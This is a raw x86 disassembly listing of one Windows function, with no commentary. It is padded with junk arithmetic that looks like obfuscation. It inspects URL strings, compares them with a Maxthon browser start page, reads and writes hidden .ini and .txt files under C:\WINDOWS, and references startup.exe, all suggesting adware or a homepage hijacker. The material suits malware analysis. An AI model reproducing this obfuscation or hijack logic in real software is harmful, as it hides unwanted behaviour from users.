add ecx, edx
mov eax, 0xcccc28f7
imul edi
add edx, edi
sar edx, 0x13
mov eax, edx
add ecx, edx
shr eax, 0x1f
add eax, ecx
mov ecx, dword [ebp - 0x10f4]
push ecx
mov dword [0x45569c], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [0x4556a4]
mov ecx, dword [0x4556a0]
mov esi, dword [0x45569c]
imul ecx, ecx, 0xfff23675
mov eax, 0x1784740b
imul edi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x3b1db3af
imul esi
mov ebx, dword [str._r_____r____]
sar edx, 0x11
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
mov ecx, dword [0x455690]
imul ecx, ecx, 0x205c4
sub eax, ecx
mov ecx, dword [0x455688]
add eax, ebx
add ecx, eax
mov eax, 0x948af151
imul esi
add edx, esi
imul esi, esi, 0x8aa1b
mov dword [0x455688], ecx
imul ecx, ecx, 0x53aff
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45568c]
sub ecx, eax
mov eax, 0x3b1784cb
imul edx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
add ecx, esi
sub ecx, eax
mov eax, 0xcccc28f7
imul edi
add edx, edi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x10d4]
mov dword [0x4556a4], ecx
mov ecx, dword [eax]
lea edx, [ebp - 0x10fc]
push edx
push eax
call dword [ecx + 0xa0]
mov eax, dword [ebp - 0x10fc]
push eax
call fcn.0041f160
mov ecx, dword [0x455690]
mov esi, dword [0x455688]
mov ebx, eax
imul esi, esi, 0x5715a
mov eax, 0x57ab2ce3
imul ecx
sar edx, 0x12
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4556a8]
imul edx, edx, 0xa0008
sub esi, ecx
mov ecx, dword [0x45569c]
add esi, edx
mov eax, 0xcccc28f7
imul ecx
add edx, ecx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a0]
sub esi, eax
sub esi, edx
sub esi, 0x205c4
test ebx, ebx
mov dword [0x455690], esi
je 0x41b9da
mov edi, 0x446284
mov esi, ebx
mov ecx, 0xc
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x41b9da
mov ecx, dword [0x455698]
mov eax, 0x9e71fdc9
imul ecx
add edx, ecx
mov ecx, dword [0x4556a8]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x944b09c1
imul ecx
add edx, ecx
imul ecx, ecx, 0x205c4
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455694]
sub esi, eax
mov eax, dword [0x4556a0]
imul eax, eax, 0x53aff
add esi, eax
mov eax, 0x3b1784cb
imul edx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, ecx
push 1
mov dword [0x455698], esi
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x10d4]
mov ecx, dword [eax]
lea edx, [ebp - 0x10fc]
push edx
push eax
call dword [ecx + 0xa0]
mov eax, dword [ebp - 0x10fc]
push eax
call fcn.0041f160
mov ebx, eax
mov ecx, dword [0x45568c]
mov esi, dword [0x455698]
mov eax, 0xa854d31d
imul esi, esi, 0x64985
imul ecx
sar edx, 0x12
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0xbae2b
push 4
sub ecx, esi
add ecx, edx
push str.http
push ebx
mov dword [0x4556a0], ecx
call fcn.0042a430
add esp, 0xc
test eax, eax
je 0x41bc42
push 4
push str.HTTP
push ebx
call fcn.0042a430
add esp, 0xc
test eax, eax
je 0x41bc42
push 4
push str.www.
push ebx
call fcn.0042a430
add esp, 0xc
test eax, eax
je 0x41bc42
push 4
push str.WWW.
push ebx
call fcn.0042a430
add esp, 0xc
test eax, eax
je 0x41bc42
push str.http:
push ebx
call fcn.00429d20
add esp, 8
test eax, eax
jne 0x41babf
push str.HTTP:
push ebx
call fcn.00429d20
add esp, 8
test eax, eax
jne 0x41babf
push str.www.
push ebx
call fcn.00429d20
add esp, 8
test eax, eax
jne 0x41babf
push str.WWW.
push ebx
call fcn.00429d20
add esp, 8
test eax, eax
je 0x41bc42
mov ecx, dword [0x455698]
mov esi, dword [0x455690]
mov eax, 0x30f1b28f
imul esi, esi, 0x6e7be
imul ecx
mov eax, dword [0x4556a0]
mov ecx, dword [str._r_____r____]
imul eax, eax, 0xaafdf
sar edx, 0x10
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
sub edi, eax
mov eax, 0x3b1db3af
imul ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
push str.http:
push ebx
mov dword [0x4556a8], edi
call fcn.00429d20
add esp, 8
test eax, eax
je 0x41bbee
push str.http:
jmp 0x41bc37
mov edx, dword [0x4556a4]
imul ecx, ecx, 0xfff23675
imul esi, esi, 0x205c4
mov eax, 0x1784740b
imul edx
sar edx, 0xf
mov ebx, dword [str._r_____r____]
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45569c]
mov edi, dword [0x455688]
sub ecx, eax
mov eax, 0x3b1db3af
imul edx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add ecx, edx
add eax, ecx
sub eax, esi
add eax, ebx
add edi, eax
push str.startup.exe
mov dword [0x455688], edi
call fcn.0040bbc0
add esp, 4
test eax, eax
jle 0x41b015
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov byte [ebp - 4], 5
je 0x41bbaf
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 4
je 0x41bbc3
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov byte [ebp - 4], 2
je 0x41bbd7
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov byte [ebp - 4], 1
je 0x41c93d
jmp 0x41c937
push str.HTTP:
push ebx
call fcn.00429d20
add esp, 8
test eax, eax
je 0x41bc07
push str.HTTP:
jmp 0x41bc37
push str.www.
push ebx
call fcn.00429d20
add esp, 8
test eax, eax
je 0x41bc20
push str.www.
jmp 0x41bc37
push str.WWW.
push ebx
call fcn.00429d20
add esp, 8
test eax, eax
je 0x41bc42
push str.WWW.
push ebx
call fcn.00429d20
add esp, 8
mov ebx, eax
mov edi, dword [0x45568c]
imul edi, edi, 0x6e7be
mov eax, 0x948af151
imul dword [0x45569c]
add edx, dword [0x45569c]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov esi, dword [0x4556a8]
mov eax, 0x3b1784cb
imul dword [0x455694]
sar edx, 0x11
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov dword [ebp - 0x10e4], eax
mov edi, dword [0x455690]
mov eax, 0xcccc28f7
imul dword [0x455690]
add edx, edi
mov edi, dword [ebp - 0x10e4]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov edx, dword [0x446bc4]
mov ecx, esi
imul ecx, ecx, 0xcecf4
add edi, ecx
xor eax, eax
mov dword [str._r_____r____], edi
mov dword [ebp - 0x10e8], ecx
mov byte [ebp - 0x8c4], 0
mov ecx, 0xff
lea edi, [ebp - 0x8c3]
rep stosd dword es:[edi], eax
mov ecx, dword [str.fdfdadsafdfghfjkt]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x446bc8]
mov dword [ebp - 0x4bc], eax
mov dword [ebp - 0x4c4], ecx
mov ecx, dword [0x446bcc]
xor eax, eax
mov dword [ebp - 0x4c0], edx
mov dx, word [0x446bd0]
mov dword [ebp - 0x4b8], ecx
mov word [ebp - 0x4b4], dx
mov ecx, 0x7b
lea edi, [ebp - 0x4b2]
rep stosd dword es:[edi], eax
mov ecx, dword [0x4556a0]
stosw word es:[edi], ax
imul ecx, ecx, 0x6e7be
mov eax, 0x30f1b28f
imul dword [0x45568c]
sar edx, 0x10
add ecx, edx
mov edi, edx
mov eax, 0x3b1784cb
imul dword [0x455690]
shr edi, 0x1f
sar edx, 0x11
add edi, ecx
add edi, edx
mov eax, edx
mov edx, dword [0x455694]
shr eax, 0x1f
add eax, edi
sub eax, dword [ebp - 0x10e8]
sub eax, edx
add eax, 0xbae2b
mov edi, ebx
mov dword [0x45568c], eax
lea ecx, [edi + 1]
mov dl, byte [edi]
inc edi
test dl, dl
jne 0x41bd87
sub edi, ecx
mov dword [ebp - 0x10e4], edi
je 0x41bed4
push str.http:__
push ebx
call fcn.00429d20
add esp, 8
test eax, eax
jne 0x41beb4
push str.HTTP:__
push ebx
call fcn.00429d20
add esp, 8
test eax, eax
jne 0x41beb4
push str.www.
push ebx
call fcn.00429d20
add esp, 8
test eax, eax
jne 0x41beb4
push str.WWW.
push ebx
call fcn.00429d20
add esp, 8
test eax, eax
jne 0x41beb4
push str..COM
push ebx
call fcn.00429d20
add esp, 8
test eax, eax
jne 0x41beb4
push str..com
push ebx
call fcn.00429d20
add esp, 8
test eax, eax
jne 0x41beb4
push str..NET
push ebx
call fcn.00429d20
add esp, 8
test eax, eax
jne 0x41beb4
push str..net
push ebx
call fcn.00429d20
add esp, 8
test eax, eax
jne 0x41beb4
push str..ORG
push ebx
call fcn.00429d20
add esp, 8
test eax, eax
jne 0x41beb4
push str..org
push ebx
call fcn.00429d20
add esp, 8
test eax, eax
jne 0x41beb4
push 0x446b7c
push ebx
call fcn.00429d20
add esp, 8
test eax, eax
jne 0x41beb4
push 0x446b78
push ebx
call fcn.00429d20
add esp, 8
test eax, eax
jne 0x41beb4
push str..htm
push ebx
call fcn.00429d20
add esp, 8
test eax, eax
jne 0x41beb4
push str..HTM
push ebx
call fcn.00429d20
add esp, 8
test eax, eax
je 0x41bec9
push ebx
lea edx, [ebp - 0x4c4]
push str.__s_
push edx
call fcn.004297ca
add esp, 0xc
mov eax, dword [0x45568c]
mov esi, dword [0x4556a8]
mov ecx, dword [0x45569c]
imul eax, eax, 0x6e7be
imul esi, esi, 0xcecf4
add esi, eax
mov eax, 0x948af151
imul ecx
add edx, ecx
mov ecx, dword [0x455690]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x3b1784cb
imul dword [0x455694]
sar edx, 0x11
mov edi, edx
add esi, edx
mov eax, 0xcccc28f7
imul ecx
add edx, ecx
sar edx, 0x13
mov ecx, edx
push str.C:WINDOWS_system_sdax.txt
shr ecx, 0x1f
push 0x400
add ecx, edx
lea edx, [ebp - 0x8c4]
push edx
shr edi, 0x1f
push 0x445dd9
add edi, esi
push str.rtgbh
sub edi, ecx
push str.asdf
mov dword [str._r_____r____], edi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test ebx, ebx
je 0x41c08a
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41bf68
sub eax, edx
mov dword [ebp - 0x10e4], eax
je 0x41c08a
mov edi, 0x446284
mov esi, ebx
mov ecx, 0xc
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x41c08a
lea ecx, [ebp - 0x144]
push ecx
push ebx
call fcn.00429d20
add esp, 8
test eax, eax
jne 0x41c00d
lea edx, [ebp - 0x144]
push ebx
push edx
call fcn.00429d20
add esp, 8
test eax, eax
jne 0x41c00d
mov edi, str.http:__i.maxthon.cn_
mov esi, ebx
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x41bfea
test al, al
je 0x41bfe6
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x41bfea
add esi, 2
add edi, 2
test al, al
jne 0x41bfc2
xor eax, eax
jmp 0x41bfef
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x41c00d
lea eax, [ebp - 0x4c4]
push eax
lea ecx, [ebp - 0x8c4]
push ecx
call fcn.00429d20
add esp, 8
test eax, eax
je 0x41c021
lea edx, [ebp - 0x1c4]
push edx
push ebx
call fcn.00429d20
add esp, 8
test eax, eax
je 0x41c08a
mov edx, dword [0x455690]
mov edi, dword [0x455688]
mov esi, dword [0x45569c]
mov eax, 0x57ab2ce3
imul edx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a8]
mov ecx, edi
imul edx, edx, 0xa0008
imul ecx, ecx, 0x5715a
sub ecx, eax
mov ebx, dword [0x4556a0]
add ecx, edx
mov eax, 0xcccc28f7
imul esi
add edx, esi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, ebx
sub ecx, 0x205c4
mov dword [0x455690], ecx
jmp 0x41c13f
push 0
call fcn.004298af
mov ecx, dword [0x455698]
mov dword [0x569784], eax
mov eax, 0x9e71fdc9
imul ecx
add edx, ecx
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, ecx
mov ecx, dword [0x4556a8]
mov eax, 0x944b09c1
imul ecx
add edx, ecx
imul ecx, ecx, 0x205c4
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a0]
imul edx, edx, 0x53aff
sub esi, eax
mov edi, dword [0x569780]
add esi, edx
mov edx, dword [0x455694]
mov eax, 0x3b1784cb
imul edx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x1104]
add esp, 4
sub esi, eax
mov eax, dword [ebp - 0x10d4]
sub esi, ecx
push edx
inc edi
mov dword [0x455698], esi
mov ecx, dword [eax]
push eax
mov dword [0x569780], edi
call dword [ecx + 0x9c]
mov ecx, dword [0x455690]
mov esi, dword [0x45569c]
mov edi, dword [0x455688]
mov ebx, dword [0x4556a0]
mov eax, 0x1784740b
imul ebx, ebx, 0xfff23675
imul ecx, ecx, 0x205c4
imul dword [0x4556a4]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x3b1db3af
imul esi
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
mov ebx, dword [ebp - 0x10d0]
sub eax, ecx
mov ecx, dword [str._r_____r____]
add eax, ecx
add edi, eax
test ebx, ebx
mov dword [0x455688], edi
je 0x41c6f3
mov eax, ebx
lea edx, [eax + 1]
mov dword [ebp - 0x10d0], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x41c1a0
sub eax, dword [ebp - 0x10d0]
mov dword [ebp - 0x10d0], eax
je 0x41c6f3
mov edi, dword [0x455698]
imul ecx, ecx, 0x8aa1b
mov eax, dword [0x45568c]
imul edi, edi, 0x5715a
imul eax, eax, 0x6e7be
add edi, eax
mov eax, 0x30f1b28f
imul esi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a4]
sub edi, eax
add edi, edx
lea ecx, [ecx + edi - 0x205c4]
push 0xffffffffffffffff
mov dword [0x455694], ecx
push 0x559370
lea ecx, [ebp - 0x1138]
call fcn.00405d00
mov esi, dword [0x455698]
mov eax, 0xa854d31d
imul esi, esi, 0x64985
imul dword [0x45568c]
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0xbae2b
mov ecx, eax
sub ecx, esi
add ecx, edx
mov byte [ebp - 4], 7
mov dword [0x4556a0], ecx
mov edi, 0x558b68
mov esi, ebx
mov dl, byte [esi]
mov al, dl
cmp dl, byte [edi]
jne 0x41c27a
test al, al
je 0x41c276
mov dl, byte [esi + 1]
mov al, dl
cmp dl, byte [edi + 1]
jne 0x41c27a
add esi, 2
add edi, 2
test al, al
jne 0x41c256
xor eax, eax
jmp 0x41c27f
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x41c6d8
mov edi, dword [0x4556a8]
mov eax, edi
imul eax, eax, 0xcecf4
mov esi, ecx
imul esi, esi, 0x6e7be
sub esi, eax
mov eax, 0x30f1b28f
imul dword [0x45568c]
sar edx, 0x10
add esi, edx
mov eax, edx
mov edx, dword [0x455690]
shr eax, 0x1f
add eax, esi
mov dword [ebp - 0x10d0], eax
mov eax, 0x3b1784cb
imul edx
mov eax, dword [ebp - 0x10d0]
sar edx, 0x11
mov esi, edx
add eax, edx
mov edx, dword [0x455694]
shr esi, 0x1f
add esi, eax
sub esi, edx
mov eax, ebx
add esi, 0xbae2b
lea edx, [eax + 1]
mov dword [0x45568c], esi
mov dword [ebp - 0x10d0], edx
lea ebx, [ebx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x41c300
sub eax, dword [ebp - 0x10d0]
cmp eax, 0x800
jae 0x41c32f
mov ecx, ebx
mov edx, 0x558b68
jmp 0x41c320
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x41c320
jmp 0x41c3b3
mov esi, dword [0x455698]
imul ecx, ecx, 0x53aff
mov eax, 0x9e71fdc9
imul esi
add edx, esi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x944b09c1
imul edi
add edx, edi
imul edi, edi, 0x205c4
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x3b1784cb
imul dword [0x455694]
add esi, ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
push 0x7ff
sub esi, edi
xor eax, eax
push ebx
mov ecx, 0x200
mov edi, 0x558b68
push 0x558b68
mov dword [0x455698], esi
rep stosd dword es:[edi], eax
call fcn.0042a300
mov esi, dword [0x45568c]
add esp, 0xc
mov ecx, dword [0x45569c]
mov edi, dword [0x455688]
mov eax, 0x948af151
imul edi, edi, 0x53aff
imul ecx
add edx, ecx
imul ecx, ecx, 0x8aa1b
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x3b1784cb
imul esi
sar edx, 0x11
add edi, ecx
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [0x4556a4]
mov eax, 0xcccc28f7
imul ecx
add edx, ecx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x558268
mov dword [0x4556a4], edi
lea esi, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41c420
sub eax, esi
cmp eax, 5
jbe 0x41c6d8
push str.ConfigL6
push ebx
call fcn.004044b0
add esp, 8
test eax, eax
jne 0x41c6d8
mov ecx, dword [0x455698]
mov esi, dword [0x455690]
mov eax, 0x30f1b28f
imul esi, esi, 0x6e7be
imul ecx
mov ecx, dword [0x4556a0]
imul ecx, ecx, 0xaafdf
sar edx, 0x10
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
sub edi, ecx
mov ecx, dword [str._r_____r____]
mov eax, 0x3b1db3af
imul ecx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
push 0x132b600
mov dword [0x4556a8], edi
call sym.CallDll.exe_int___cdecl_process3_int_
add esp, 4
xor esi, esi
lea esp, [esp]
cmp esi, 0x64
jge 0x41c54f
mov edi, dword [0x4556a8]
mov ecx, dword [0x45568c]
imul edi, edi, 0xcecf4
imul ecx, ecx, 0x6e7be
add edi, ecx
mov ecx, dword [0x45569c]
mov eax, 0x948af151
imul ecx
add edx, ecx
mov ecx, dword [0x455694]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x3b1784cb
imul ecx
mov ecx, dword [0x455690]
sar edx, 0x11
mov ebx, edx
add edi, edx
mov eax, 0xcccc28f7
imul ecx
add edx, ecx
sar edx, 0x13
mov ecx, edx
shr ebx, 0x1f
shr ecx, 0x1f
add ebx, edi
add ecx, edx
sub ebx, ecx
push 0x64
mov dword [str._r_____r____], ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x558268
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x41c538
sub eax, ecx
mov dword [ebp - 0x10d0], eax
je 0x41c54f
inc esi
jmp 0x41c4b0
mov edx, dword [0x4556a8]
mov esi, dword [0x4556a0]
imul edx, edx, 0xcecf4
mov ecx, dword [0x45568c]
imul esi, esi, 0x6e7be
sub esi, edx
mov eax, 0x30f1b28f
imul ecx
mov ecx, dword [0x455690]
sar edx, 0x10
mov edi, edx
add esi, edx
mov eax, 0x3b1784cb
imul ecx
push str.C:WINDOWS_system32driversetc_service5.ini
sar edx, 0x11
shr edi, 0x1f
push 0x800
mov eax, edx
shr eax, 0x1f
add edi, esi
add edi, edx
mov edx, dword [0x455694]
lea ecx, [ebp - 0x10c4]
push ecx
add eax, edi
push 0x445dd9
sub eax, edx
push str.ConfigL5
add eax, 0xbae2b
push str.GameType1
mov dword [0x45568c], eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov esi, dword [0x455698]
mov edx, dword [0x45568c]
imul esi, esi, 0x5715a
mov ecx, dword [0x45569c]
imul edx, edx, 0x6e7be
mov edi, dword [0x4556a4]
add esi, edx
mov eax, 0x30f1b28f
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x10
imul ecx, ecx, 0x8aa1b
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, edi
lea eax, [ebp - 0x10c4]
lea edx, [ecx + esi - 0x205c4]
push eax
mov dword [0x455694], edx
call fcn.004298aa
inc eax
push eax
lea ecx, [ebp - 0x10c4]
push 0x445d98
push ecx
call fcn.004297ca
add esp, 0x10
push str.C:WINDOWS_system32driversetc_service5.ini
lea edx, [ebp - 0x10c4]
push edx
push str.ConfigL5
push str.GameType1
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov ecx, dword [0x45568c]
mov esi, dword [0x455690]
mov eax, 0x1784740b
imul esi, esi, 0xdc98b
imul ecx
imul ecx, ecx, 0x8a933
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
mov ecx, dword [0x455694]
mov edx, ecx
imul edx, edx, 0x205c4
add esi, edx
mov eax, 0xcccc28f7
imul ecx
add edx, ecx
sar edx, 0x13
mov eax, edx
add esi, edx
shr eax, 0x1f
add eax, esi
mov esi, dword [0x558260]
inc esi
push 0
mov dword [0x45569c], eax
mov dword [0x558260], esi
call fcn.004298af
add esp, 4
mov dword [0x558264], eax
lea ecx, [ebp - 0x1138]
mov byte [ebp - 4], 6
call fcn.00405d90
mov esi, dword [0x45569c]
mov edi, dword [0x455688]
mov eax, 0x948af151
imul edi, edi, 0x53aff
imul esi
add edx, esi
imul esi, esi, 0x8aa1b
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [0x45568c]
mov eax, 0x3b1784cb
imul ecx
mov ecx, dword [0x4556a4]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
add edi, esi
sub edi, eax
mov eax, 0xcccc28f7
imul ecx
add edx, ecx
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [ebp - 0x10cc]
push ecx
sub edi, ecx
mov eax, esp
mov dword [0x4556a4], edi
mov dword [eax], edx
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov dword [ebp - 0x10d0], esp
je 0x41c771
mov ecx, dword [eax]
push eax
call dword [ecx + 4]
mov ecx, 0x5694b0
call fcn.00406b80
mov ecx, dword [0x4556a4]
mov esi, dword [0x4556a0]
mov eax, 0x1784740b
imul esi, esi, 0xfff23675
imul ecx
mov ecx, dword [0x45569c]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov edi, dword [str._r_____r____]
mov eax, 0x3b1db3af
imul ecx
mov eax, dword [ebp - 0x10cc]
sar edx, 0x11
add esi, edx
mov ecx, edx
mov edx, dword [0x455690]
imul edx, edx, 0x205c4
shr ecx, 0x1f
add ecx, esi
mov esi, dword [0x455688]
sub ecx, edx
add ecx, edi
add esi, ecx
push 0
push eax
mov dword [0x455688], esi
call fcn.004088f0
mov edx, dword [0x455690]
mov ecx, dword [0x455688]
mov esi, dword [0x45569c]
imul ecx, ecx, 0x5715a
mov eax, 0x57ab2ce3
imul edx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a8]
imul edx, edx, 0xa0008
sub ecx, eax
mov edi, dword [0x4556a0]
add ecx, edx
mov eax, 0xcccc28f7
imul esi
add edx, esi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, edi
add esp, 8
sub ecx, 0x205c4
mov dword [0x455690], ecx
jmp 0x41c85e
mov ecx, dword [0x455690]
mov edi, dword [0x4556a0]
mov ebx, dword [0x455698]
imul edi, edi, 0x53aff
mov eax, 0x9e71fdc9
imul ebx
add edx, ebx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x944b09c1
imul dword [0x4556a8]
add edx, dword [0x4556a8]
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x3b1784cb
imul dword [0x455694]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a8]
imul edx, edx, 0x205c4
add ebx, edi
sub ebx, eax
mov eax, dword [ebp - 0x10d4]
sub ebx, edx
test eax, eax
mov dword [0x455698], ebx
mov byte [ebp - 4], 5
je 0x41c8e9
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x455690]
mov esi, dword [0x45569c]
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 4
je 0x41c909
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x455690]
mov esi, dword [0x45569c]
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov byte [ebp - 4], 2
je 0x41c929
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x455690]
mov esi, dword [0x45569c]
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov byte [ebp - 4], 1
je 0x41c949
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x455690]
mov esi, dword [0x45569c]
mov eax, dword [ebp - 0x10f0]
mov ebx, dword [0x4556a8]
inc eax
mov dword [ebp - 0x10f0], eax
mov edi, eax
jmp 0x41a8f3
mov eax, dword [ebp - 0x10e0]
test eax, eax
mov byte [ebp - 4], 0
je 0x41c977
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x455698]
mov eax, 0xa854d31d
imul ecx, ecx, 0x64985
imul dword [0x45568c]
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, dword [str._r_____r____]
imul eax, eax, 0xbae2b
sub edx, ecx
add edx, eax
mov eax, dword [ebp - 0x10f8]
mov dword [0x4556a0], edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
call fcn.0042909d
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret